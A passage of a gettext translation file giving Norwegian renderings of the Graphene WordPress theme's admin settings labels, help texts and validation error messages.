msgstr "Ramme for Widget overskriftersrad"

#: admin/options-display.php:416
msgid "Widget title colour"
msgstr "Tittelfarge på widget"

#: admin/options-display.php:417
msgid "Widget title text shadow colour"
msgstr "Skyggefarge for Widget-titteltekst"

#: admin/options-display.php:418
msgid "Widget header gradient bottom colour"
msgstr "Nedre farge for gradient i Widget-overskriftsrad"

#: admin/options-display.php:419
msgid "Widget header gradient top colour"
msgstr "Øvre farge for gradient i Widget-overskriftsrad"

#: admin/options-display.php:436
msgid "Slider"
msgstr "Glider"

#: admin/options-display.php:439
msgid "Slider background preview"
msgstr "Forhåndsvisning for gliderbakgrunn"

#: admin/options-display.php:444
msgid "Slider top left colour"
msgstr "Farge i øvre venstre hjørne av glider"

#: admin/options-display.php:445
msgid "Slider bottom right colour"
msgstr "Farge i nedre høyre hjørne av glider"

#: admin/options-display.php:462
msgid "Block buttons"
msgstr "Blokk-knapper"

#: admin/options-display.php:465
msgid "Block button preview"
msgstr "Forhåndsvisning av blokk-knapp"

#: admin/options-display.php:466
msgid "Button label"
msgstr "Etikett på knapp"

#: admin/options-display.php:470
msgid "Button background colour"
msgstr "Bakgrunnsfarge på knapp"

#: admin/options-display.php:471
msgid "Button label colour"
msgstr "Etikettfarge på knapp"

#: admin/options-display.php:472
msgid "Button label text shadow"
msgstr "Tekstskygge på etikett på knapp"

#: admin/options-display.php:489
msgid "Archive title"
msgstr "Arkivtittel"

#: admin/options-display.php:492
msgid "Archive title preview"
msgstr "Arkivtittel forhåndsvisning"

#: admin/options-display.php:493
msgid "Archive title:"
msgstr "Arkivtittel:"

#: admin/options-display.php:493
msgid "Sample title"
msgstr "Utvalgstittel"

#: admin/options-display.php:497
msgid "Archive background gradient left colour"
msgstr "Arkiv: bakgrunnsgradient, venstre farge"

#: admin/options-display.php:498
msgid "Archive background gradient right colour"
msgstr "Arkiv: bakgrunnsgradient, høyre farge"

#: admin/options-display.php:499
msgid "Archive label colour"
msgstr "Arkiv: etikettfarge"

#: admin/options-display.php:500
msgid "Archive text colour"
msgstr "Arkiv: tekstfarge"

#: admin/options-display.php:501
msgid "Archive label and text shadow colour"
msgstr "Arkiv: farge på etikett- og tekstskygge"

#: admin/options-display.php:525
msgid "Text Style Options"
msgstr "Skriftstiler"

#: admin/options-display.php:528
msgid "Note that these are CSS properties, so any valid CSS values for each particular property can be used."
msgstr "Vær obs på at dette er CSS-egenskaper, så alle gyldige CSS-verdier for enhver egenskap kan benyttes."

#: admin/options-display.php:529
msgid "Some example CSS properties values:"
msgstr "Noen eksempelverdier for CSS-egenskaper:"

#: admin/options-display.php:532
msgid "Text font:"
msgstr "Skrifttype:"

#: admin/options-display.php:536
msgid "Text size and line height:"
msgstr "Skriftstørrelse og linjehøyde:"

#: admin/options-display.php:540
msgid "Text weight:"
msgstr "Vekt:"

#: admin/options-display.php:544
msgid "Text style:"
msgstr "Skriftstil:"

#: admin/options-display.php:548
msgid "Text colour:"
msgstr "Tekstfarge:"

#: admin/options-display.php:553
msgid "Header Text"
msgstr "Topptekst"

#: admin/options-display.php:557
msgid "Title text font"
msgstr "Titteltekst - skrifttype"

#: admin/options-display.php:563
msgid "Title text size"
msgstr "Titteltekst - størrelse"

#: admin/options-display.php:569
msgid "Title text weight"
msgstr "Titteltekst - vekt"

#: admin/options-display.php:575
msgid "Title text line height"
msgstr "Titteltekst - linjehøyde"

#: admin/options-display.php:581
msgid "Title text style"
msgstr "Titteltekst - stil"

#: admin/options-display.php:590
msgid "Description text font"
msgstr "Beskrivelsestekst - skrifttype"

#: admin/options-display.php:596
msgid "Description text size"
msgstr "Beskrivelsestekst - størrelse"

#: admin/options-display.php:602
msgid "Description text weight"
msgstr "Beskrivelsestekst - vekt"

#: admin/options-display.php:608
msgid "Description text line height"
msgstr "Beskrivelsestekst - linjehøyde"

#: admin/options-display.php:614
msgid "Description text style"
msgstr "Beskrivelsestekst - stil"

#: admin/options-display.php:620
msgid "Content Text"
msgstr "Brødtekst"

#: admin/options-display.php:624
msgid "Text font"
msgstr "Skrifttype"

#: admin/options-display.php:630
msgid "Text size"
msgstr "Skriftstørrelse"

#: admin/options-display.php:636
msgid "Text line height"
msgstr "Linjehøyde"

#: admin/options-display.php:642
msgid "Text colour"
msgstr "Tekstfarge"

#: admin/options-display.php:652
msgid "Link Text"
msgstr "Lenketekst"

#: admin/options-display.php:656
msgid "Link colour (normal state )"
msgstr "Lenkefarge (normal)"

#: admin/options-display.php:657
msgid "Link colour (visited state )"
msgstr "Lenkefarge (visited)"

#: admin/options-display.php:658
msgid "Link colour (hover state )"
msgstr "Lenkefarge (hover)"

#: admin/options-display.php:675
msgid "Text decoration (normal state )"
msgstr "Text decoration (normal tilstand)"

#: admin/options-display.php:681
msgid "Text decoration (hover state )"
msgstr "Text decoration (hover tilstand)"

#: admin/options-display.php:694
msgid "Footer Widget Display Options"
msgstr "Widget-område i bunn"

#: admin/options-display.php:700
msgid "Number of columns to display"
msgstr "Antall kolonner"

#: admin/options-display.php:707
msgid "Number of columns to display for front page footer widget"
msgstr "Antall kolonner for widget-område i bunn på forsiden"

#: admin/options-display.php:721
msgid "Navigation Menu Display Options"
msgstr "Navigeringsmeny"

#: admin/options-display.php:727
msgid "Dropdown menu item width"
msgstr "Bredde på nedtrekksmenyvalg"

#: admin/options-display.php:733
msgid "Disable description in Header Menu"
msgstr "Slå av beskrivelse i toppmenyen."

#: admin/options-display.php:741
msgid "Description for default menu \"Home\" item"
msgstr "Beskrivelse til standardmenyens \"Hjem\"-punkt"

#: admin/options-display.php:757
msgid "Miscellaneous Display Options"
msgstr "Diverse"

#: admin/options-display.php:760
msgid "Site title options"
msgstr "Tittelinnstillinger for nettstedet"

#: admin/options-display.php:761
msgid "Use these tags to customise your own site title structure: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>"
msgstr "Bruk disse taggene for å tilpasse oppbygningen av tittelen til ditt nettsted: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>"

#: admin/options-display.php:765
msgid "Custom front page site title"
msgstr "Egendefinert tittel på forsiden"

#: admin/options-display.php:769
msgid "Defaults to <code>#site-name &raquo; #site-desc</code>. The <code>#post-title</code> tag cannot be used here."
msgstr "Settes som standard til <code>#site-name &raquo; #site-desc</code>. Taggen <code>#post-title</code> kan ikke brukes her."

#: admin/options-display.php:774
msgid "Custom content pages site title"
msgstr "Egendefinert tittel på innholdssider"

#: admin/options-display.php:778
msgid "Defaults to <code>#post-title &raquo; #site-name</code>."
msgstr "Settes som standard til <code>#post-title &raquo; #site-name</code>."

#: admin/options-display.php:783
msgid "Favicon options"
msgstr "Favicon innstillinger"

#: admin/options-display.php:787
msgid "Favicon URL"
msgstr "Favicon URL"

#: admin/options-display.php:791
#: admin/options-general.php:98
msgid "Upload or select image from gallery"
msgstr "Last opp eller velg et bilde fra galleriet"

#: admin/options-display.php:791
msgid "Simply enter the full URL to your favicon file here to enable favicon. Make sure you include the <code>http://</code> in front of the URL as well. Or use the WordPress media uploader to upload an image, or select one from the media library."
msgstr "Skriv inn hele URL-en til favicon filen din her for å sette opp ditt eget favicon. Pass på å ta med <code>http://</code> foran URL-en. Eller bruk WordPress' medieopplaster for å laste opp et nytt bilde eller velge et fra biblioteket."

#: admin/options-display.php:796
msgid "WordPress Editor options"
msgstr "Innstillinger for WordPress redigeringsvinduet"

#: admin/options-display.php:800
msgid "Disable custom editor styles"
msgstr "Slå av egendefinerte stilsett for redigeringsvinduet"

#: admin/options-display.php:813
msgid "Custom CSS"
msgstr "Egendefinert CSS"

#: admin/options-display.php:818
msgid "Custom CSS styles"
msgstr "Egendefinerte CSS-stiler"

#: admin/options-display.php:820
msgid "You can enter your own CSS codes below to modify any other aspects of the theme's appearance that is not included in the options."
msgstr "Du kan legge inn dine egne CSS-koder under hvis du vil endre på flere aspekter av temaets utseende enn de som finnes i innstillingene."

#: admin/options-general.php:12
msgid "Slider Options"
msgstr "Innstillinger for glidevisning"

#: admin/options-general.php:18
msgid "Disable slider"
msgstr "Slå av glidevisning"

#: admin/options-general.php:26
msgid "What do you want to show in the slider"
msgstr "Hva vil du vise i glidevisningen"

#: admin/options-general.php:30
msgid "Show latest posts"
msgstr "Vis siste innlegg"

#: admin/options-general.php:33
msgid "Show random posts"
msgstr "Vis tilfeldige innlegg"

#: admin/options-general.php:36
msgid "Show specific posts/pages"
msgstr "Vis spesifikke innlegg/sider"

#: admin/options-general.php:39
msgid "Show posts from categories"
msgstr "Vis innlegg fra kategorier"

#: admin/options-general.php:44
#: admin/options-general.php:258
msgid "Posts and/or pages to display"
msgstr "Innlegg og/eller sider som skal vises"

#: admin/options-general.php:49
#: admin/options-general.php:263
msgid "Enter ID of posts and/or pages to be displayed, separated by comma. Example: <code>1,13,45,33</code>"
msgstr "Kommaseparert liste over ID-ene til poster og/eller sider som skal vises. Eksempel: <code>1,13,45,33</code>"

#: admin/options-general.php:50
msgid "Applicable only if <strong>Show specific posts/pages</strong> is selected above."
msgstr "Gjelder bare dersom <strong>Vis spesifikke innlegg/sider</strong> er valgt over."

#: admin/options-general.php:56
msgid "Categories to display"
msgstr "Kategorier som skal vises"

#: admin/options-general.php:57
msgid "All posts within the categories selected here will be displayed on the slider. Usage example: create a new category \"Featured\" and assign all posts to be displayed on the slider to that category, and then select that category here."
msgstr "Alle innlegg innen de valgte kategoriene vil vises i glidevisningen. Eksempel på bruk: opprett en ny kategori \"Rampelys\" og legg alle innlegg som skal inkluderes i glidevisningen i denne kategorien, før du velger den aktuelle kategorien her."

#: admin/options-general.php:73
msgid "Number of posts to display"
msgstr "Antall innlegg som skal vises"

#: admin/options-general.php:104
msgid "Slider display style"
msgstr "Stil for glidervisning"

#: admin/options-general.php:108
msgid "Thumbnail and excerpt"
msgstr "Miniatyrbile og utdrag"

#: admin/options-general.php:109
msgid "Background image and excerpt"
msgstr "Bakgrunnsbilde og utdrag"

#: admin/options-general.php:110
msgid "Full post content"
msgstr "Hele innholdet i innlegget"

#: admin/options-general.php:116
msgid "Slider animation"
msgstr "Glideranimasjon"

#: admin/options-general.php:121
msgid "Horizontal slide"
msgstr "Horisontal glider"

#: admin/options-general.php:122
msgid "Vertical slide"
msgstr "Vertikal glider"

#: admin/options-general.php:123
msgid "Fade"
msgstr "Ton ut"

#: admin/options-general.php:124
msgid "No effect"
msgstr "Ingen effekt"

#: admin/options-general.php:130
msgid "Slider height"
msgstr "Gliderhøyde"

#: admin/options-general.php:138
msgid "Slider speed"
msgstr "Gliderhastighet"

#: admin/options-general.php:141
#: admin/options-general.php:150
msgid "milliseconds"
msgstr "millisekunder"

#: admin/options-general.php:142
msgid "This is the duration that each slider item will be shown"
msgstr "Hvor lenge hvert gliderelement skal vises"

#: admin/options-general.php:147
msgid "Slider transition speed"
msgstr "Overgangshastighet for glideren"

#: admin/options-general.php:151
msgid "This is the speed of the slider transition. Lower values = higher speed."
msgstr "Dette er hastigheten til gliderovergangene. Lavere verdi = høyere hastighet."

#: admin/options-general.php:156
msgid "Move slider to bottom of page"
msgstr "Flytt glider til bunnen av siden"

#: admin/options-general.php:169
msgid "Front Page Options"
msgstr "Innstillinger for forsiden"

#: admin/options-general.php:175
msgid "Front page posts categories"
msgstr "Innleggskategorier på forsiden"

#: admin/options-general.php:177
msgid "Only posts that belong to the categories selected here will be displayed on the front page. Does not affect Static Front Page."
msgstr "Kun innlegg som tilhører kategoriene du velger her vil vises på forsiden. Påvirker ikke \"statisk forside\". Velg \"--Avslått--\" for å slå av filteret."

#: admin/options-general.php:182
msgid "--Disabled--"
msgstr "--Avslått--"

#: admin/options-general.php:190
msgid "You may select multiple categories by holding down the CTRL key."
msgstr "Du kan velge flere kategorier ved å holde nede CTRL-knappen."

#: admin/options-general.php:202
msgid "Homepage Panes"
msgstr "Hjemmesidepaneler"

#: admin/options-general.php:209
msgid "Disable homepage panes"
msgstr "Slå av hjemmesidepaneler"

#: admin/options-general.php:219
msgid "Type of content to show"
msgstr "Hvilke typer innhold som skal vises"

#: admin/options-general.php:226
msgid "Latest posts by category"
msgstr "Siste innlegg etter kategori"

#: admin/options-general.php:229
msgid "Posts and/or pages"
msgstr "Innlegg og/eller sider"

#: admin/options-general.php:234
msgid "Number of latest posts to display"
msgstr "Antall siste innlegg som skal vises"

#: admin/options-general.php:238
msgid "Applicable only if <strong>Latest posts</strong> or <strong>Latest posts by category</strong> is selected above."
msgstr "Gjelder bare hvis <strong>Siste innlegg</strong> eller <strong>Siste innlegg etter kategori</strong> er valgt over."

#: admin/options-general.php:243
msgid "Category to show latest posts from"
msgstr "Vis siste innlegg fra denne kategorien"

#: admin/options-general.php:253
msgid "Applicable only if <strong>Latest posts by category</strong> is selected above."
msgstr "Gjelder bare hvis <strong>Siste innlegg etter kategori</strong> er valgt over."

#: admin/options-general.php:264
msgid "Applicable only if <strong>Posts and/or pages</strong> is selected above."
msgstr "Gjelder bare dersom <strong>innlegg og/eller sider</strong> er valgt over."

#: admin/options-general.php:270
msgid "<strong>Note:</strong> homepage panes are only displayed when using a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">static front page</a>."
msgstr "<strong>Merk:</strong> hjemmesidepaneler vises kun ved bruk av en <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">statisk forside</a>."

#: admin/options-general.php:280
msgid "Comments Options"
msgstr "Kommentarinnstillinger"

#: admin/options-general.php:286
msgid "Commenting"
msgstr "Kommentarmuligheter"

#: admin/options-general.php:290
msgid "Use WordPress settings"
msgstr "Bruk Wordpress-innstillinger"

#: admin/options-general.php:291
msgid "Disabled for pages"
msgstr "Slått av for sider"

#: admin/options-general.php:292
msgid "Disabled completely"
msgstr "Fullstendig avslått"

#: admin/options-general.php:294
msgid "Note: this setting overrides the global WordPress Discussion Setting called \"Allow people to post comments on new articles\" and also the \"Allow comments\" option for individual posts/pages."
msgstr "Merk: denne innstillingen overstyrer den globale Wordpress Diskusjon-innstillingen \"Tillat andre å kommentere nye innlegg og sider\" samt \"Tillatt kommentarer\"-innstillingen for individuelle innlegg/sider."

#: admin/options-general.php:306
msgid "Child Page Options"
msgstr "Innstillinger for undersider"

#: admin/options-general.php:312
msgid "Hide parent box if content is empty"
msgstr "Skjul forelder-boks hvis innholdet er tomt"

#: admin/options-general.php:318
msgid "Child page listings"
msgstr "Opplisting av undersider"

#: admin/options-general.php:322
msgid "Show listing"
msgstr "Vis opplisting"

#: admin/options-general.php:323
msgid "Hide listing"
msgstr "Skjul opplisting"

#: admin/options-general.php:324
msgid "Only show listing if parent content is empty"
msgstr "Vis bare liste hvis forelderinnholdet er tomt"

#: admin/options-general.php:337
msgid "Widget Area Options"
msgstr "Innstillinger for Widget-områder"

#: admin/options-general.php:340
msgid "Header widget area"
msgstr "Widget-område i topp"

#: admin/options-general.php:341
msgid "<strong>Important:</strong> This widget area is unstyled, as it is often used for advertisement banners, etc. If you enable it, make sure you style it to your needs using the Custom CSS option."
msgstr "<strong>Viktig:</strong> Dette widgetområdet er ikke stilsatt da det ofte blir brukt til reklamebannere og lignende. Hvis du ønsker å ta det i bruk, så pass på å stilsette det etter egne behov ved hjelp av tilpasningsmuligheten \"Egendefinert CSS\"."

#: admin/options-general.php:345
msgid "Enable header widget area"
msgstr "Slå på widget-området i topp"

#: admin/options-general.php:354
msgid "Alternate Widgets"
msgstr "Alternative Widgets"

#: admin/options-general.php:355
msgid "You can enable the theme to show different widget areas in the front page than the rest of the website. If you enable this option, additional widget areas that will only be displayed on the front page will be added to the Widget settings page."
msgstr "Du kan konfigurere temaet til å vise forskjellige widget-områder på forsiden enn på resten av nettstedet. Hvis du slår på dette valget, vil det på siden for Widget-innstillinger bli mulig å konfigurere disse ekstra widget-områdene som kun skal vises på forsiden."

#: admin/options-general.php:358
msgid "Enable alternate front page sidebar widget area"
msgstr "Slå på alternativt widgetområde for sidekolonnen på forsiden"

#: admin/options-general.php:362
msgid "Enable alternate front page footer widget area"
msgstr "Slå på alternativt widgetområde i bunn på forsiden"

#: admin/options-general.php:363
msgid "You can also specify different column counts for the front page footer widget and the rest-of-site footer widget if you enable this option."
msgstr "Du kan også spesifisere forskjellige kolonneantall for widgetområdet i bunn på forsiden og widgetområdet på resten av siden hvis du slår på dette valget."

#: admin/options-general.php:376
msgid "Top Bar Options"
msgstr "Innstillinger for toppraden"

#: admin/options-general.php:382
msgid "Hide the top bar"
msgstr "Skjul topprad"

#: admin/options-general.php:390
msgid "Hide feed icon"
msgstr "Skjul RSS-ikonet"

#: admin/options-general.php:394
msgid "Use custom feed URL"
msgstr "Bruk egendefinert RSS URL"

#: admin/options-general.php:397
msgid "This custom feed URL will replace the default WordPress RSS feed URL."
msgstr "Denne egendefinerte URL-en vil erstatte standard Wordpress RSS URL."

#: admin/options-general.php:401
msgid "Open social media links in new window"
msgstr "Åpne lenker til sosiale medier i nytt vindu"

#: admin/options-general.php:405
msgid "Twitter URL"
msgstr "Twitter URL"

#: admin/options-general.php:408
msgid "Enter the URL to your Twitter page."
msgstr "Skriv inn URL-en til din Twitter-side."

#: admin/options-general.php:412
msgid "Facebook URL"
msgstr "Facebook URL"

#: admin/options-general.php:415
msgid "Enter the URL to your Facebook profile page."
msgstr "Skriv inn URL-en til din Facebook-profil."

#. translators: %s will be replaced by the social media service name. Example: LinkedIn Title
#: admin/options-general.php:426
#, php-format
msgid "%s Title"
msgstr "%s Tittel"

#: admin/options-general.php:431
#, php-format
msgid "The title is empty and the following title will be shown: <strong>%s</strong>"
msgstr "Tittelen er tom og følgende tittel vil bli vist: <strong>%s</strong>"

#. translators: %s will be replaced by the social media service name. Example: LinkedIn URL
#: admin/options-general.php:437
#, php-format
msgid "%s URL"
msgstr "%s URL"

#. translators: %s will be replaced by the social media service name. Example: LinkedIn icon URL
#: admin/options-general.php:442
#, php-format
msgid "%s icon URL"
msgstr "%s ikon URL"

#: admin/options-general.php:445
msgid "Delete"
msgstr "Slett"

#: admin/options-general.php:453
msgid "Add new social media icon"
msgstr "Legg til nytt ikon for sosialt medie"

#: admin/options-general.php:465
msgid "Social Sharing Buttons"
msgstr "Knapper for sosiale nettsverkstjenester"

#: admin/options-general.php:470
msgid "Show social sharing button"
msgstr "Vis delingsknapp for sosiale nettverk"

#: admin/options-general.php:476
msgid "Show in Pages as well?"
msgstr "Vis knapp på sider også?"

#: admin/options-general.php:480
msgid "Social sharing buttons location"
msgstr "Plassering av knapper for sosiale nettsverkstjenester"

#: admin/options-general.php:483
msgid "Bottom of posts"
msgstr "Bunnen av innlegg"

#: admin/options-general.php:484
msgid "Top of posts"
msgstr "Toppen av innlegg"

#: admin/options-general.php:485
msgid "Both top and bottom"
msgstr "Både topp og bunn"

#: admin/options-general.php:491
msgid "Your social sharing button code"
msgstr "Kode for din delingsknapp"

#: admin/options-general.php:492
msgid "You can use codes from any popular social sharing sites, like Facebook, Digg, AddThis, etc."
msgstr "Du kan bruke koder fra hvilke som helst populære sosiale nettverk som Facebook, Digg, AddThis, etc."

#: admin/options-general.php:495
msgid "You may use these tags to get the post's URL, title, and excerpt:"
msgstr "Du kan bruke disse taggene for å finne innleggets URL, tittel og utdrag:"

#: admin/options-general.php:507
msgid "Adsense Options"
msgstr "Innstillinger for Adsense"

#: admin/options-general.php:513
msgid "Show Adsense advertising"
msgstr "Vis Adsense-reklame"

#: admin/options-general.php:521
msgid "Show ads on front page as well"
msgstr "Vis reklame også på forsiden"

#: admin/options-general.php:527
msgid "Your Adsense code"
msgstr "Din Adsense-kode"

#: admin/options-general.php:540
msgid "Google Analytics Options"
msgstr "Innstillinger for Google Analytics"

#: admin/options-general.php:545
msgid "Enable Google Analytics tracking"
msgstr "Slå på Google Analytics-sporing"

#: admin/options-general.php:552
msgid "<strong>Note:</strong> the theme now places the Google Analytics script in the <code>&lt;head&gt;</code> element to better support the new asynchronous Google Analytics script. Please make sure you update your script to use the new asynchronous script from Google Analytics."
msgstr "<strong>Merk:</strong> temaet plasserer nå skriptet for Google Analytics i <code>&lt;head&gt;</code> elementet for å gi bedre støtte for det nye asynkrone Google Analytics skriptet. Vennligst oppdater skriptet ditt til det nye asynkrone skriptet fra Google Analytics, dersom du ikke allerede har gjort dette."

#: admin/options-general.php:556
msgid "Google Analytics tracking code"
msgstr "Google Analytics sporingskode"

#: admin/options-general.php:557
msgid "Make sure you include the full tracking code (including the <code>&lt;script&gt;</code> and <code>&lt;/script&gt;</code> tags) and not just the <code>UA-#######-#</code> code."
msgstr "Pass på å inkludere hele sporingskoden (inkludert <code>&lt;script&gt;</code> og <code>&lt;/script&gt;</code>-taggene) og ikke bare <code>UA-#######-#</code>-koden."

#: admin/options-general.php:570
msgid "Footer Options"
msgstr "Innstillinger for bunnområdet"

#: admin/options-general.php:575
msgid "Use Creative Commons licence for content"
msgstr "Bruk Creative Commons-lisens for innhold"

#: admin/options-general.php:580
msgid "Copyright text (html allowed)"
msgstr "Copyright-tekst (HTML er tillatt)"

#: admin/options-general.php:581
msgid "If this field is empty, the following default copyright text will be displayed:"
msgstr "Dersom dette feltet er tomt, vil følgende standard copyright-tekst vises:"

#: admin/options-general.php:587
msgid "Do not show copyright info"
msgstr "Ikke vis copyright informasjon"

#: admin/options-general.php:591
msgid "Do not show the \"Return to top\" link"
msgstr "Skjul \"Tilbake til toppen\"-lenke."

#: admin/options-general.php:603
msgid "Print Options"
msgstr "Utskriftsinnstillinger"

#: admin/options-general.php:608
msgid "Enable print CSS for single posts and pages?"
msgstr "Slå på muligheten for utskrift av CSS for enkeltinnlegg og enkeltsider?"

#: admin/options-general.php:614
msgid "Show print button"
msgstr "Vis utskriftsknapp"

#: admin/options-import.php:38
#: admin/options-import.php:169
#: admin/options-presets.php:48
#: admin/uninstall.php:32
msgid "ERROR: You are not authorised to perform that operation"
msgstr "FEIL: Du har ikke tillatelse til å utføre denne operasjonen"

#: admin/options-import.php:59
msgid "Before you can upload your import file, you will need to fix the following error:"
msgstr "Før du kan laste opp importfilen må du fikse følgende feil:"

#: admin/options-import.php:65
#: admin/options-import.php:98
msgid "Import Graphene Theme Options"
msgstr "Importer temainnstillinger for Graphene"

#: admin/options-import.php:67
msgid "<strong>Note:</strong> This is an experimental feature. Please report any problem at the <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Support Forum</a>."
msgstr "<strong>Obs:</strong> Dette er en eksperimentell funksjon. Vennligst rapporter eventuelle problemer på <a href=\"http://forum.khairul-syahir.com/forum/graphene-wordpress-theme\">Supportforumet</a>."

#: admin/options-import.php:69
msgid "Choose a file from your computer:"
msgstr "Velg en fil fra din datamaskin:"

#: admin/options-import.php:69
#, php-format
msgid "Maximum size: %s"
msgstr "Maksimal størrelse: %s"

#: admin/options-import.php:76
msgid "Upload file and import"
msgstr "Last opp fil og importer"

#: admin/options-import.php:141
msgid "Options import completed"
msgstr "Importering av innstillinger fullført"

#: admin/options-import.php:142
msgid "Go to the Graphene options page"
msgstr "Gå til Graphene Innstillinger-siden"

#: admin/options-import.php:145
#: admin/options-import.php:150
#: admin/options-import.php:155
msgid "Sorry, there has been an error."
msgstr "Beklager, en feil oppstod."

#: admin/options-import.php:146
msgid "The uploaded file does not contain valid Graphene options."
msgstr "Filen du lastet opp inneholder ikke gyldige Graphene-innstillinger."

#: admin/options-import.php:151
msgid "The uploaded file could not be read."
msgstr "Filen du lastet opp kunne ikke leses."

#: admin/options-import.php:156
msgid "The uploaded file is not supported."
msgstr "Filen du lastet opp støttes."

#: admin/options-import.php:164
msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini."
msgstr "Filen er tom. Vennligst last opp en fil med mer innhold. Denne feilen kan også oppstå dersom opplasting er slått av i php.ini på din server eller dersom post_max_size er satt til en lavere verdi enn upload_max_filesize i php.ini."

#: admin/options-init.php:34
msgid "Graphene Options"
msgstr "Graphene Innstillinger"

#: admin/options-init.php:35
msgid "Graphene FAQs"
msgstr "Graphene FAQ"

#: admin/options-init.php:85
msgid "Toggle all options boxes"
msgstr "Vis/skjul alle innstillingsbokser"

#: admin/options-init.php:127
msgid "Template preview not found."
msgstr "Mal-forhåndsvisning ikke funnet."

#: admin/options-init.php:130
msgid "default"
msgstr "standard"

#: admin/options-init.php:186
#: admin/options-init.php:190
msgid "Theme default"
msgstr "Standard for temaet"

#: admin/options-presets.php:36
msgid "The \"Normal website\" settings preset has been applied."
msgstr "Forhåndsinnstillingene for \"Vanlig hjemmeside\" har blitt aktivert."

#: admin/options-presets.php:41
msgid "Settings have been reset."
msgstr "Innstillingene er nå tilbakestilt."

#: admin/options-validator.php:24
msgid "ERROR: Invalid category to show in slider."
msgstr "FEIL: Ugyldig kategori for visning i glider."

#: admin/options-validator.php:27
msgid "ERROR: You must specify the posts/pages to be displayed when you have \"Show specific posts/pages\" selected for the slider."
msgstr "FEIL: Du må spesifisere innlegg/sider som skal vises når du har valgt \"Vis spesifikke innlegg/sider\" for gliderkategorien."

#: admin/options-validator.php:30
msgid "ERROR: You must have selected at least one category when you have \"Show posts from categories\" selected for the slider."
msgstr "FEIL: Du må spesifisere minst én kategori når du har valgt \"Vis innlegg fra kategorier\" for glidervisningen."

#: admin/options-validator.php:40
msgid "ERROR: Invalid category selected for the slider categories."
msgstr "FEIL: Ugyldig kategori valgt for gliderkategoriene."

#: admin/options-validator.php:46
msgid "ERROR: The number of posts to displayed in the slider must be a an integer value."
msgstr "FEIL: Antall poster som skal vises i glideren må være en tallverdi."

#: admin/options-validator.php:49
msgid "ERROR: Invalid option for the slider image is specified."
msgstr "FEIL: Ugyldig valg for gliderbildet er spesifisert."

#: admin/options-validator.php:51
msgid "ERROR: Bad URL entered for the custom slider image URL."
msgstr "FEIL: Feilaktig URL lagt inn i feltet for egendefinert gliderbilde."

#: admin/options-validator.php:53
msgid "ERROR: Invalid option for the slider display style is specified."
msgstr "FEIL: Ugyldig valg for stil for glidervisning er spesifisert."

#: admin/options-validator.php:55
msgid "ERROR: The value for slider height must be an integer."
msgstr "FEIL: Verdien for gliderhøyde må være en tallverdi."

#: admin/options-validator.php:57
msgid "ERROR: The value for slider speed must be an integer."
msgstr "FEIL: Verdien for gliderhastighet må være en tallverdi."

#: admin/options-validator.php:59
msgid "ERROR: The value for slider transition speed must be an integer."
msgstr "FEIL: Verdien for overgangshastighet for glideren må være en tallverdi."

#: admin/options-validator.php:61
msgid "ERROR: Invalid slider animation."
msgstr "FEIL: Ugyldig valg for glideranimasjon."

#: admin/options-validator.php:75
msgid "ERROR: Invalid category selected for the front page posts categories."
msgstr "FEIL: Ugyldig kategori valgt for innleggskategorier på forsiden."

#: admin/options-validator.php:86
msgid "ERROR: Invalid option for the type of content to show in homepage panes."
msgstr "FEIL: Ugyldig valg for type innhold som skal vises i hjemmesidepaneler."

#: admin/options-validator.php:88
msgid "ERROR: The value for the number of latest posts to display in homepage panes must be an integer."
msgstr "FEIL: Verdien for antall innlegg som skal vises i hjemmesidepaneler må være en tallverdi."

#: admin/options-validator.php:93
msgid "ERROR: Invalid category selected for the latest posts to show from in the homepage panes."
msgstr "FEIL: Ugyldig kategori valgt for siste innlegg som skal vises i hjemmesidepaneler."

#: admin/options-validator.php:107
msgid "ERROR: Invalid option for the comments option."
msgstr "FEIL: Ugyldig valg for kommentarer."

#: admin/options-validator.php:116
msgid "ERROR: Invalid option for the child page listings."
msgstr "FEIL: Ugyldig valg for listing av undersider."

#: admin/options-validator.php:134
msgid "ERROR: Bad URL entered for the custom feed URL."
msgstr "FEIL: Ugyldig URL funnet i egendefinert RSS URL-feltet."

#: admin/options-validator.php:138
msgid "ERROR: Bad URL entered for the Twitter URL."
msgstr "FEIL: Ugyldig URL funnet i Twitter URL-feltet."

#: admin/options-validator.php:140
msgid "ERROR: Bad URL entered for the Facebook URL."
msgstr "FEIL: Ugyldig URL funnet i Facebook URL-feltet."

#: admin/options-validator.php:152
msgid "ERROR: Bad URL entered for the social media icon URL."
msgstr "FEIL: Ugyldig URL i feltet for ikon for sosialt medie."

#: admin/options-validator.php:153
msgid "ERROR: Bad URL entered for the social media URL."
msgstr "FEIL: Ugyldig URL i feltet for sosialt medie."

#: admin/options-validator.php:169
msgid "ERROR: Invalid option for the social sharing buttons location."
msgstr "FEIL: Ugyldig valg for sosial delingsknapplokasjon."

#: admin/options-validator.php:229
msgid "ERROR: Invalid option for the Search box location."
msgstr "FEIL: Ugyldig valg for plassering av søkeboks"

#: admin/options-validator.php:234
msgid "ERROR: Invalid option for the column mode."
msgstr "FEIL: Ugyldig valg for kolonnemodus."

#: admin/options-validator.php:235
msgid "ERROR: Invalid option for the bbPress column mode."
msgstr "FEIL: Ugyldig valg for bbPress kolonnemodus."

#: admin/options-validator.php:242
#, php-format
msgid "ERROR: Invalid width for %s. Width value must be positive number without units."
msgstr "FEIL: Ugyldig bredde for %s. Verdien må være et positivt tall uten enhetsmål."

#: admin/options-validator.php:250
msgid "ERROR: Invalid option for the post date display."
msgstr "FEIL: Ugyldig valg for innleggsdatovisning."

#: admin/options-validator.php:316
msgid "ERROR: The number of columns to be displayed in the footer widget must be a an integer value."
msgstr "FEIL: Antall kolonner som skal vises i Widget-område i bunn må være en tallverdi."

#: admin/options-validator.php:321
msgid "ERROR: The width of the submenu must be a an integer value."
msgstr "FEIL: Bredden på undermenyen må være en tallverdi."

#: admin/options-validator.php:329
msgid "ERROR: Bad URL entered for the favicon URL."
msgstr "FEIL: Ugyldig URL i feltet for favicon URL."

#: admin/options-validator.php:344
msgid "ERROR: Invalid action hook selected widget action hooks."
msgstr "FEIL: Ugyldig handlingskrok valgt i widget handlingskroker."

#: admin/options.php:81
#: admin/uninstall.php:23
msgid "Uninstall Graphene"
msgstr "Avinstaller Graphene"

#: admin/options.php:82
